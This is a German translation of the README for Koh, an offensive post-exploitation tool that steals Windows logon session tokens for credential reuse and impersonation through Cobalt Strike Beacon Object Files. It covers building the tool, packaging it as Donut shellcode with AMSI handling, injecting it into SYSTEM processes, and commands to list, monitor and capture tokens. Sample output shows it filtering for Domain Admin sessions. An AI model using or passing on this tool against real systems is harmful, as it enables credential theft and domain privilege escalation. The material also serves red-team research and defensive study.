
Erfasst Windows-Anmeldesitzungstoken durch Token-Leckage, um die Wiederverwendung von Anmeldeinformationen und Identitätswechsel zu ermöglichen, mit Cobalt Strike BOF-Integration für Post-Exploitation-Token-Diebstahl.
Koh ist eine Tool-Sammlung in C# und Beacon Object File (BOF), die das Erfassen von Benutzeranmeldeinformationen durch absichtliches Prellen/Verlust von Token-/Anmeldesitzungen ermöglicht.
Ein Teil des Codes wurde inspiriert von Elad Shamir's Internal-Monologue-Projekt (keine Lizenz) sowie von KB180548. Warum dies möglich ist und welchen Ansatz Koh verfolgt, finden Sie im Abschnitt Technischer Hintergrund dieser README.
Eine ausführlichere Erklärung der Motivation hinter Koh und seines Ansatzes finden Sie im Beitrag Koh: The Token Stealer.
@harmj0y ist der Hauptautor dieser Codebasis. @tifkin_ half bei der Herangehensweise, der BOF-Implementierung und einigen Token-Mechaniken.
Koh ist unter der BSD-3-Clause-Lizenz lizenziert.
Der Koh-„Server“ erfasst Token und verwendet Named Pipes für Steuerung/Kommunikation. Dies kann in Donut verpackt und in jeden High-Integritäts- SYSTEM-Prozess injiziert werden (siehe Der Inline-Shenanigans-Fehler).
Wir planen nicht, Binärdateien für Koh zu veröffentlichen, daher müssen Sie selbst kompilieren :)
Koh wurde gegen .NET 4.7.2 erstellt und ist mit Visual Studio 2019 Community Edition kompatibel. Öffnen Sie einfach die Projekt-.sln, wählen Sie „Release“ und erstellen Sie das Projekt. Die Koh.exe-Assembly und der Koh.bin Donut-erstellte PIC werden im Hauptverzeichnis ausgegeben. Der Donut-Blob ist sowohl x86/x64-kompatibel und wird mit den folgenden Optionen unter Verwendung von Donut v0.9.3 unter ./Misc/Donut.exe erstellt:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut's Lizenz ist BSD 3-Clause.
### Verwendung
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - listet (nicht-Netzwerk-)Anmeldesitzungen auf
* **monitor** - überwacht auf neue/eindeutige (nicht-Netzwerk-)Anmeldesitzungen
* **capture** - erfasst ein eindeutiges Token pro gefundener SID für neue (nicht-Netzwerk-)Anmeldesitzungen
Gruppen-SIDs können ebenfalls über die Kommandozeile angegeben werden, sodass Koh nur Anmeldesitzungen überwacht/erfasst, die die angegebenen Gruppen-SIDs in ihren ausgehandelten Token-Informationen enthalten.
### Beispiel - Auflisten von Anmeldesitzungen```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Listet nur Ergebnisse, die die Gruppen-SID der Domänenadministratoren (-512) in ihren Tokeninformationen enthalten:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Der derzeit nutzbare Client ist eine Beacon Object File unter `.\Clients\BOF\`. Laden Sie das Aggressor-Skript `.\Clients\BOF\KohClient.cna` in Ihren Cobalt Strike-Client, um die BOF-Steuerung des Koh-Servers zu aktivieren. Die einzige Voraussetzung für die Verwendung erfasster Token ist **SeImpersonatePrivilege**. Die benannte Pipe für die Kommunikation hat eine „Everyone“-DACL, verwendet aber ein einfaches gemeinsames Passwort (super sicher).
Um es unter Linux mit Mingw frisch zu kompilieren, siehe das Skript `.\Clients\BOF\build.sh`. Die einzige Voraussetzung (zumindest unter Debian) sollte `apt-get install gcc-mingw-w64` sein.